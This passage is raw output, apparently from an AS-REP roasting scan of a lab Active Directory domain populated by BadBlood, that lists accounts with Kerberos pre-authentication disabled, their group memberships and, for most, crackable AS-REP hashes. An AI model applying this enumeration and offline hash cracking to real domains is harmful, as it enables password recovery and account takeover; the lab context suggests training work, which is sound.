CN=HO-alb-distlist1,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=FA-pol-distlist1,OU=Test,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=PA-407078811-admingroup1,OU=Devices,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=DE-HAR-distlist1,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=ST-campanita-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:49 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$BRADLEY_PRESTON@offsec.nl:bb3f6f80a599864ae632d08c38c95ac0$2af142af216ce9da90c93414916cd182345a46e2132985f482a8bfc8925265ac286d665a5683d1b5184bccba7426854129bebf521907f31eae4f94817495b9924838359f04f0bc2d427cad14de69478b56c8e87325cea4f5ceb01bf16f029898540c61986f7acaa2bb38503175e542342aeeff155542defe75a27afc4a764a6f8e6cba66af43b539b64da6e12e90341cc12206a2c618c4f9fe08cc334c069d0116ccd18cbd992fd757de95549e8e724ed66e53bc84c4c7067619460b08865e6ddb923bcd40d5c4d62727d9ee1ffd41366d011e76d5f5d6cb4504e1033acea0c25b84d7967355 Searching for ASREPRoast Users - Details for User 'DALTON_CANTRELL': sAMAccountName : DALTON_CANTRELL userPrincipalName : DALTON_CANTRELL@offsec.nl distinguishedName : CN=DALTON_CANTRELL,OU=Testing,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3140 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:06:53 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$DALTON_CANTRELL@offsec.nl:ab32c648595dab39bbd238e002b5173e$f470003f6fdc129199769a7cb371fec3897938d0f0dce90cb86b48cfea0294105a761d80029217e1d828858add285b3358a29ec0d6f9c4c5c4a50c4a6770b4fae901da85159ef09ad494f80e101c4730018e9f8cc21486789d03c04d4fc14095fc91092317da5710f8c0799236214a54b59de1871e860e3411c72679d2a4eeec2a0f70fa8b0b759c385df91ea17d0fe2a15f6a340b6fbe8c88ce0e162be2864c654b2cc7098977ccd098334d622a38dbed078bbc49c60c780e94282ff53369e3b42ec5ffa3fe906ecec2885fcf86446a3c86ac4128003928239ffbb10a4477a34286fadd9d8f Searching for ASREPRoast Users - Details for User 'MARILYN_SALAZAR': sAMAccountName : MARILYN_SALAZAR userPrincipalName : MARILYN_SALAZAR@offsec.nl distinguishedName : CN=MARILYN_SALAZAR,OU=Unassociated,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3157 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PH-mon-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=SE-mor-distlist1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=KE-AZA140707-admingroup1,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=RO-teq-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=DA-laa-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=SA-per-distlist1,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=DA-palomo812-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=GR-par-distlist1,OU=Devices,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=LE-bessyague-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=TR-360213848-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:57 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$MARILYN_SALAZAR@offsec.nl:53ed841a1e7a8408bb4b9aaf475e9834$87ccf9b33bca610a69670edcab1ebc3d5d360d6662a037b89757a8eb4584a5d464c4cc1cd76363295e42be80f3722c117a87517d3b9a7e66cd75f0533bb7022cafb13bb27e92a1f1de2a0904241af24b0e820db2420abb1eadfd98ec3a0b2da50b24bd7e273bc981ac6d3232d36c077380d27a0a7ad550ea3559a0c792139da6032debabe88f84c45d85deb133e828b55ebb71c5f0cfe27188c10384296a76cef1bd9ce20f912a0535befbb648a6fa09c509da4e7646dd39b9b2d400faba3b1c5004eb9abe164e9638f71420e2ec985c0422a72ba0fbe04bfd0708b8b4a1694997d6b4907fb1 Searching for ASREPRoast Users - Details for User 'MICHEL_DUFFY': sAMAccountName : MICHEL_DUFFY userPrincipalName : MICHEL_DUFFY@offsec.nl distinguishedName : CN=MICHEL_DUFFY,OU=Groups,OU=GOO,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3177 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:07:02 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$MICHEL_DUFFY@offsec.nl:ec1566c8095849bfe798fad5f65ec337$f3eb04470fd9f4bd757e4ba10e67fbdf564870c57261a19772d1356da4e47a8895c82b32637620dddfb00dc786dce635860d9f32bce1527031ce9bf008bab42acc3fd410e0cd134b5827d9e74036afee5606b4fe2f01f25fec4e2ac170b9f8d56a5cda413a9da9ac59e7a29964aec25f390a967e8b69686f654f4344eb79f1e4289fe76d734b0a22fcfffbc60bca70f33f1d7bd276a63b528eb242057c8079e1b8fe0435b416764c10d659e1c6a356fdf20af0278a9a4162fb4ec519475b27b9eef865a64920dd794544f0c10aa1ec6dbd86175e16c6f9fc371563d2667bdb931e3a462a3ccf Searching for ASREPRoast Users - Details for User 'LESLEY_ROBERTS': sAMAccountName : LESLEY_ROBERTS userPrincipalName : LESLEY_ROBERTS@offsec.nl distinguishedName : CN=LESLEY_ROBERTS,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3182 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EM-JEN-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=MI-703-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=LU-mayra1410-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=ER-Spi-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=AN-nov-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl CN=WI-08S-distlist1,OU=Test,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=EL-adr-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:03 AM lastLogonTimestamp : 2/10/2022 1:59:49 PM $krb5asrep$23$LESLEY_ROBERTS@offsec.nl:480b5490d528f77b397dceebdf434ae4$da061621652089d32e7e574be965853168485b96634861d1b42b336d669218747ef3141a0e3776506647a0512a3dff507ec5e207d1fcef972885a1a8fabcba3a57a3d596ae2fba78d76cee5c4e0eeb92da1d39733095d74411869ede0105f4fc89bec113a22c967c07fd6f26c54e28d5bc10548bb672df92119e54cbd6c21d947d15f03c250efd786a304fc051edb24f24e6047ebeba865d9de85d976340d80f001e7f2d58b1f803c7733249f1fac56620e8d032cfba8577e34ee4002d3aaf94ae844ef46a06c4b7fbe219ab2e5afacc5b30c364601fd1576cb42ed80e1710c8d7e99936ebd4 Searching for ASREPRoast Users - Details for User 'ALI_MICHAEL': sAMAccountName : ALI_MICHAEL userPrincipalName : ALI_MICHAEL@offsec.nl distinguishedName : CN=ALI_MICHAEL,OU=T1-Permissions,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3188 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PH-mon-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=MA-Num-distlist1,OU=T1-Accounts,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=JA-res-admingroup1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=TH-yosoybety-admingroup1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=MA-siv-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=VI-man-distlist1,OU=FIN,OU=People,DC=offsec,DC=nl CN=BR-555149025-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=DA-palomo812-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=AL-az2-distlist1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=EL-ant-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:04 AM lastLogonTimestamp : 2/10/2022 1:59:50 PM $krb5asrep$23$ALI_MICHAEL@offsec.nl:ccc53a81a6c696215c256480295c1905$46932a298bf62c8a6bef86c3c1ab6e6cb10bf5d4e9a7e9e986b4717d733754148d46b5789e72dc8a4ac5b7caaa2cb9387806520b776a3ab4501b1f0460876f6c8055076383e429f4a71699525386be233710dd57f37a6c4e99fe4a2b1c8e49a36bdb17acfc853050c3b69fed4b4e95bfff1ea2874de21763fc910bd33ceb0d3ec1c0604a813539b1b410c5f7aa815cd2f6217310f76d654de9a7cba290bda8bc2265494319adff989e8bc8ca138e6332331ba72d4388a21107dc1e62a69a06ad5b6b99ed42b9fd3e7485951c0a4d6d291e10aa6cfe2f88545bd29404ef3fe5d1725cb602aac5 Searching for ASREPRoast Users - Details for User 'ERNESTINE_HAYS': sAMAccountName : ERNESTINE_HAYS userPrincipalName : ERNESTINE_HAYS@offsec.nl distinguishedName : CN=ERNESTINE_HAYS,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3228 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:07:14 AM lastLogonTimestamp : 2/10/2022 1:59:50 PM $krb5asrep$23$ERNESTINE_HAYS@offsec.nl:ab8165948951a7e5c404e0dcc108ec78$aa6a481e71924e693732763c48ee70afe2986a6b8d072895a493094dbdcf9a1bafd9ed4b66d30f7bfecbfc45b06daf041aa418dde24e5f86c8d97d8e626b187c4e9bc87353f1fe3e83404e2e09f4b5b7753d02c032ec92c9cdd516c9ca5c99537abd6628a6d0606bbe321dac10d8271d5ecd7a573ebdeb16654df6ae696c884e561d177b9933ce6811a647ea8afcacd67b5cf7434479ed8bf4e226bfcdbed255b840a5ff5ad910be0424536291da0b921a6a58648c3a8db588216be07b6734197e7399ea77af03da2d5de26419f044f680fd0f694e5a1b3d6356f00bfff764a3f1e25f1d146f Searching for ASREPRoast Users - Details for User 'OFELIA_KEMP': sAMAccountName : OFELIA_KEMP userPrincipalName : OFELIA_KEMP@offsec.nl distinguishedName : CN=OFELIA_KEMP,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3236 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=ST-lolivicen-distlist1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=JE-262707209-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=PE-sex-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=TA-YOM-distlist1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=CA-lan-distlist1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=SA-421-distlist1,OU=Unassociated,OU=People,DC=offsec,DC=nl CN=KR-asdfghjkl-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:16 AM lastLogonTimestamp : 2/10/2022 1:59:50 PM $krb5asrep$23$OFELIA_KEMP@offsec.nl:dac44e5cbbf6723c09c5d7ec97bd61f2$54a8d6feb4061e83523300479f1d1b9922f36f869b02360a89d31be5a8a8d5c5b0f7253bf7cadf539b87184f66135bfe49153356d96a508a6c1529255c46ca0be04e818a03d3c4739912f27eab4df279fdccc77196aeb2bba10380e76665b2c52aa9eea62aa697f34faaf6aa5bab7ed686b336faee417f2537c205138c093e200f110734894e7262170bd5e8175bcbcf592fc4f0fdc029ad67f0a57e6acf221b5ec50625848b572c164d392d7fa57f7296a9a6ffa9fa7d3c35592faaa9457ea1cebed1fa5ef99af89b4bcd5f0f270691805cc35f7185ce8f8585ed87a2f8af3dbca12be43e0c Searching for ASREPRoast Users - Details for User 'SILVIA_MCNEIL': sAMAccountName : SILVIA_MCNEIL userPrincipalName : SILVIA_MCNEIL@offsec.nl distinguishedName : CN=SILVIA_MCNEIL,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3251 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LO-Enriqueco-distlist1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=KR-brailbrai-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=MU-3Acuario3-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=VA-nir-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=HA-esp-distlist1,OU=FIN,OU=People,DC=offsec,DC=nl CN=ES-eli-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=AD-fatimacit-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:19 AM lastLogonTimestamp : 2/10/2022 1:59:50 PM Searching for ASREPRoast Users - Details for User 'LESA_FRY': sAMAccountName : LESA_FRY userPrincipalName : LESA_FRY@offsec.nl distinguishedName : CN=LESA_FRY,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3255 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-bla-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=KE-ive-distlist1,OU=Devices,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=TR-jor-distlist1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=RO-naujsolra-admingroup1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=MA-aun-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=HO-126-distlist1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=AD-fatimacit-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:20 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$LESA_FRY@offsec.nl:25fd26bba23fd6189cbf1be80564682f$d24e80605ff485556bd74db532393b38838101759d0fc1ac8696c6e97f195c7e0b2eebaba5627094cbe7eabddad07d7d2931ac78ff3df85d932dacad5f8d1fa080fc8b034899263f9aded37e400f9f4e73cb03f910af144bbf210dc97dc1540002224b9545e5ed18475a9a33b4d890e0236cb5bebd14f6834d62e29c157a0f48e37bc6a08be1f0f3d01a65a04b7d383f19861948b0833b743e3a8fe7f47394d3ca64c749dc012642c3895215d98ca1c98af65dda9a18cd9058de95ca840054a4a23748027af73b7454a61af1ef0d8b12546d8a6aeb4503b5f3a22625cc90eba00d3a74972cce Searching for ASREPRoast Users - Details for User 'THOMAS_SHANNON': sAMAccountName : THOMAS_SHANNON userPrincipalName : THOMAS_SHANNON@offsec.nl distinguishedName : CN=THOMAS_SHANNON,OU=TST,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3260 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-aur-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=DO-ayora2105-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=CA-161-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:21 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$THOMAS_SHANNON@offsec.nl:2b1c26758eec58e1a5edac41401b5c10$a66add4b70b952abfa2d94f18ff57fda8bc7b696765b7ac2f70f1f97adcfd487d5e89c9916b814963a0e7fec98a11a6703225fa320f2b2a6fcbaa03624741dda47b383b239ffdcc79e577a2751c86cc0b143f737893d8607fbea8fb7ed5777bf0b51884655328d4b4b57e35a4d0343c21b3365827e5f727a03a52820a5bb0290099619483840294e05064ae840d5b89d00c5e0b1e652a1af9319a8e97e539df7910cbb9677b50470b6f027cb0f08f7ecad59e76e77f35c0fe086b48b5a041cc49646cb6e3c2d1da56a174f424951fb2a6a021f2e60bd74ad67841ea93ad3a252853553ca2937 Searching for ASREPRoast Users - Details for User 'RANDY_LAWRENCE': sAMAccountName : RANDY_LAWRENCE userPrincipalName : RANDY_LAWRENCE@offsec.nl distinguishedName : CN=RANDY_LAWRENCE,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3308 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=VA-bia-distlist1,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=JA-lov-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=DE-jet-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=OC-seguimosa-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=JO-1.9778E11-admingroup1,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=CA-cep-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:32 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$RANDY_LAWRENCE@offsec.nl:e12ddc93a8d7218a5404ec42ac37507c$b1d53da425a005b842f11c2057234bf9975a0c85c485ae520d1c4442c2db70659ae8ba4248788f79b3c22a0f52b1910fe87de756804365a8dc72a804aefb9f7a8f90412a517ab9102f9b2754e485904e3e1c012a0b1cfc689e7ba90af0e5d2e673e9b53f9e3624ee49babc9445a5e5fa0b634e72ea6831f25ffc62ee469a93c2ff56b8a9c71d7c7d2f8d367412fa8f313dd2cddc18427d363952384b32d5f6d2807e27d8e82307c0d6fd4fd4384bda94687bd507fe1a5bfeaa9bfa153fc270ad338b2e881a3c743b5ca456e3990e7ba622e1aa8ddd78235a97711866b2967392156e022581f9 Searching for ASREPRoast Users - Details for User 'DUNCAN_HARRIS': sAMAccountName : DUNCAN_HARRIS userPrincipalName : DUNCAN_HARRIS@offsec.nl distinguishedName : CN=DUNCAN_HARRIS,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3320 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-eri-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=JA-belldandy-distlist1,OU=People,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=GE-rob-admingroup1,OU=Groups,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=EL-308-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=JA-derivados-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:35 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$DUNCAN_HARRIS@offsec.nl:1cc4d2a568baf455af4c9913b706b3fc$0321a72ba208dc0146e193da39d38d84b4947a737f271e7eb6977c082b5f9ed826f282d87e25c2c569e786a6a18a17d64d8d49430796343d1f12e06deaaf242ad9c447df12c3254c8b90f36477e38c061a74a1634bd75baa95ebe605f2a0e2f1af592b19061ea3aba948eba23acb0409c783f858a38e4d9f865c6358ce37f2ac3446fec0ec4d157c32d6d421a1af501ac87de0f2c259de046dfad2f283cf1f8a2fd4fb4520a46bec08aa9304a5e120a3854f5bc360be6f35ae2e1378f99662405f7a43d54c8226e889b6eddc82db187395df267e41b8f5742aea6626a9c0bf8eb6fa06cd3f9d Searching for ASREPRoast Users - Details for User 'BENNETT_STARK': sAMAccountName : BENNETT_STARK userPrincipalName : BENNETT_STARK@offsec.nl distinguishedName : CN=BENNETT_STARK,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3326 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:07:36 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$BENNETT_STARK@offsec.nl:53ce0890c26a7fcb543b2b3b184a5f31$1c79c83b4843539b34d91021d8217d113e5d46554b18eaea924043a287983d65a47cd9219b979cce694f9fc3ff7a68b87c74972ff77df2eb7009ed27e0ea2c9efbc7794d28a27bd33dd74aca947bd6083c2449a4e4c0b7a26861d9ec99b45089296c8218e042597941516b4ef3fa536859f401309c3dbc149955c9749aa36d20d92c8ce39526858fa684201d84aa89aadd737b2c0bfda1e190062f45f2ff0af5a0957ba3c18554dd1b3d786a2f60c8a72a4c6aeb3a14d402a00e83300ec42abc40d89af822e95454f6ad56a42ef5490724f5ef08ce83c360206b38a44437961cbc1aae2626da Searching for ASREPRoast Users - Details for User 'JACOB_MCDOWELL': sAMAccountName : JACOB_MCDOWELL userPrincipalName : JACOB_MCDOWELL@offsec.nl distinguishedName : CN=JACOB_MCDOWELL,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3351 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AM-mad-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=GE-bic-distlist1,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:42 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$JACOB_MCDOWELL@offsec.nl:baa1511edf7055525c74110b9fa8c7a4$93b31787b52d8c414fb589c250ae208c5873504a9f3fba5c9d3169db48005492519bb60c3079bbab22961790ab94629dd7e2634d8334eac6bbedf7d9c1d5f66665f2e4027e171045098509461a0ebfc317ad6821904bd98a9bc2d7ca184ce31387c3f7f4a90b8d84c9a03697d85e5be5f1f9a910103f161193cf6e1238d5f9dc42678c5079b116bdfd08c11e167f33997278ce7d3a8194889cf46176d609c7fd2c8b673ca96ac701d7fc98d097d598b6e08e4192a1fecba3e983e71017bd0591c42e5cac13d65da84988c36ce0453e69437d26a1963692bbe50055f151852406b3bc850ae8d9 Searching for ASREPRoast Users - Details for User 'RORY_MCCRAY': sAMAccountName : RORY_MCCRAY userPrincipalName : RORY_MCCRAY@offsec.nl distinguishedName : CN=RORY_MCCRAY,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3361 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LU-maiden666-distlist1,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=CL-est-admingroup1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=VA-nir-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=SO-pod-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=EL-308-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=SC-lidia1214-distlist1,OU=ServiceAccounts,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=CL-ashleigh4-distlist1,OU=Unassociated,OU=People,DC=offsec,DC=nl CN=EL-ant-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=RO-sexpistol-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:44 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$RORY_MCCRAY@offsec.nl:12fbe4c1d1d386794fffcd99dcd0e8a3$a95512bb17a20408dca4dd5365809e7d43d1641d23b675f515071c595bec5c932b7b3d7ac06173c6004eb897c297c417cf4b59da06111c26b52f4f608e597307a2c006e63a5d8857838374c5874969cabf62bdfaf14eb7f9a49fcda1b39c04e91be2c1c0382f38892d7b2b52febbc2d6bafb44e307bb2cee3548c26d8106acb9f2ae55a6385dfbe8139f5856428f55440d9413fb71cdbf45e6b6782ca23df0f46aa6c05ac564ed1849c60b9bbdd1a35b80ab2ac7429c0a3dd80f747412122b894e43ac091c0d9c928aa43eb95bebdae56b834cf8d162c623203fe4f87a30d7b73f618687020a Searching for ASREPRoast Users - Details for User 'FOSTER_CALDWELL': sAMAccountName : FOSTER_CALDWELL userPrincipalName : FOSTER_CALDWELL@offsec.nl distinguishedName : CN=FOSTER_CALDWELL,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3385 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:07:50 AM lastLogonTimestamp : 2/10/2022 1:59:51 PM $krb5asrep$23$FOSTER_CALDWELL@offsec.nl:2019a93a3fdc753a6338e9585c654a68$5a6b2e1b6e48196021c559e6a73f30a7fa4e8f1963dd8440bc88db485d5ed9180990f4f82a5e1a3af10ac82af8e0725e81428039f7b8a2c544ea130a05f9facf0b52398dc8f96c492e5e061c95ef210800f241e0b6fbc4510a2f7d6ec0086c22bdf7cfd99ddf2b060aa06d10e0f9f6830104a2950042ddce9a2e12c8a152ff4ce3f84d218257992f97aff9b949dd70369a218847b49b90bd3fc5461d7460c197caf0dd7e3d1f812ccb7f1f16aa633e009a9e8d35077690e2ccd3dcc289900efe0952bd6c4f869cbc58d7ccb9120ee605c9be1fc2df1d05f5ded581ec9ec48fb24191b31aaa37 Searching for ASREPRoast Users - Details for User 'DARNELL_HANSON': sAMAccountName : DARNELL_HANSON userPrincipalName : DARNELL_HANSON@offsec.nl distinguishedName : CN=DARNELL_HANSON,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3407 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-htevi1986-admingroup1,OU=Test,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=JO-marcela23-distlist1,OU=Test,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=84-pol-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=CL-281-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=LO-Enriqueco-distlist1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=TO-meg-distlist1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=VE-170286ald-distlist1,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=ST-vanguardi-admingroup1,OU=Groups,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=AL-servando2-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=RO-sexpistol-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=Performance Monitor Users,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:55 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM 